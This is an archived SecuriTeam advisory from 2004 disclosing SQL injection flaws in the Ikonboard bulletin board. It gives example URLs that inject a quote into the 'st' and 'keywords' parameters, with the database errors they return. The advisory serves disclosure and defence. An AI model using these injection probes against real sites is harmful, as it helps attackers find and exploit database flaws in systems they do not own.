[UNIX] SQL Injections in Ikonboard (st, keywords)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/20/04

  • Next message: SecuriTeam: "[NEWS] Hotmail Cross Site Scripting Vulnerability (Malformed Tags)"
    To: list@securiteam.com
    Date: 20 Dec 2004 18:21:46 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      SQL Injections in Ikonboard (st, keywords)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.ikondiscussion.com/ikonboard/> Ikonboard is "a free bulletin
    board system".

    Multiple SQL injection vulnerabilities have been found in Ikonboard
    allowing attackers to cause the program to execute arbitrary SQL
    statements as if it were its own.

    DETAILS

    Vulnerable Systems:
     * Ikonboard version 3.1.3 and prior

    1) SQL injection in "st" parameter
    Example:
    http://host/support/ikonboard.cgi?act=ST&f=27&t=13066&hl=nickname&st=1'

    Result:
    Ikonboard CGI Error
    -----------------------------------------------------------------------
    Ikonboard has exited with the following error:

    Can't query the data from 'forum_posts' Reason: You have an error in your
    SQL syntax. Check the manual that corresponds to your MySQL server version
    for the right syntax to use near '', 20'

    This error was reported at: line 1 Query: SELECT * FROM iB313_forum_posts
    WHERE TOPIC_ID = '13066' AND QUEUED <> '1' ORDER BY POST_DATE ASC LIMIT
    1', 20

    Please note that your 'real' paths have been removed to protect your
    information.
    -----------------------------------------------------------------------

    2) SQL injection in "keywords" parameter
    Example:
    http://host/support/ikonboard.cgi?act=Search&CODE=01&keywords='
    &type=name&forums=all&search_in=all&prune=0

    Result:
    Ikonboard CGI Error
    -----------------------------------------------------------------------
    Ikonboard has exited with the following error:

    mySQL error
    Can't query the data: You have an error in your SQL syntax. Check the
    manual that corresponds to your MySQL server version for the right syntax
    to use near ') ORDER BY DATE DESC LIMIT 0,200'

    This error was reported at: line 1

    Please note that your 'real' paths have been removed to protect your
    information.
    -----------------------------------------------------------------------

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:anisimov@ptsecurity.com>
    Alexander Anisimov.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Hotmail Cross Site Scripting Vulnerability (Malformed Tags)"

    Relevant Pages